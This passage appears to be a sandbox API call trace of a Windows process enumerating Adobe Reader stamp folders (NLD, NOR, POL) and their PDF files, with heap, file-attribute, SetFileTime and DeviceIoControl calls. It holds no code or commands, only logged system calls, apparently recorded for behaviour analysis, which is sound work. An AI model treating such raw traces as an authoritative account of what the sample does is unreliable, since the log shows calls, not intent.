cAlternateFileName="")) returned 1 [0083.234] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.234] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.234] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.235] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12157a0 [0083.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a7ae8 [0083.235] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.235] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x180e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.236] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.236] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12157c0 [0083.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a7bf0 [0083.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7480) returned 0x12c9900 [0083.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12c24b8) returned 1 [0083.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.237] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x180e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.237] GetLastError () returned 0x12 [0083.237] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0083.238] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.238] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.238] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xff3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.238] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9542, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.238] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x180e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.238] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x180e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.238] GetLastError () returned 0x12 [0083.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a36d8) returned 1 [0083.238] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0083.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a35d0) returned 1 [0083.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.239] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOR", cAlternateFileName="")) returned 1 [0083.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.239] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.240] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0083.240] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0083.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12d0d88 [0083.240] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12d0d88, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x12d0d88, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0083.240] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12d0d88) returned 1 [0083.240] NtClose (Handle=0x174) returned 0x0 [0083.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a35d0 [0083.242] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0083.242] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.242] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfbd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.242] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a36d8 [0083.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12157e0 [0083.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a7cf8 [0083.244] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.244] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x95a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.244] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.245] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215800 [0083.245] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17ff8, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.246] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17ff8, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.246] GetLastError () returned 0x12 [0083.246] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e91c0 [0083.246] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0083.246] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.246] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfbd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.246] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x95a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.246] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17ff8, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.246] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17ff8, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.246] GetLastError () returned 0x12 [0083.246] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a35d0) returned 1 [0083.246] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.246] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a36d8) returned 1 [0083.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.247] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806bec20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="POL", cAlternateFileName="")) returned 1 [0083.247] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806bec20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.248] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0083.248] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0083.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12d0d88 [0083.248] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12d0d88, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x12d0d88, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0083.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12d0d88) returned 1 [0083.248] NtClose (Handle=0x180) returned 0x0 [0083.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a36d8 [0083.249] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e91c0 [0083.251] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806bec20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.251] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x907a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a35d0 [0083.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215840 [0083.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a8010 [0083.253] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.253] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0083.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.253] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.254] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215860 [0083.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a8118 [0083.254] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.255] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0083.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215880 [0083.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a8220 [0083.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.256] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4fff9, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.256] 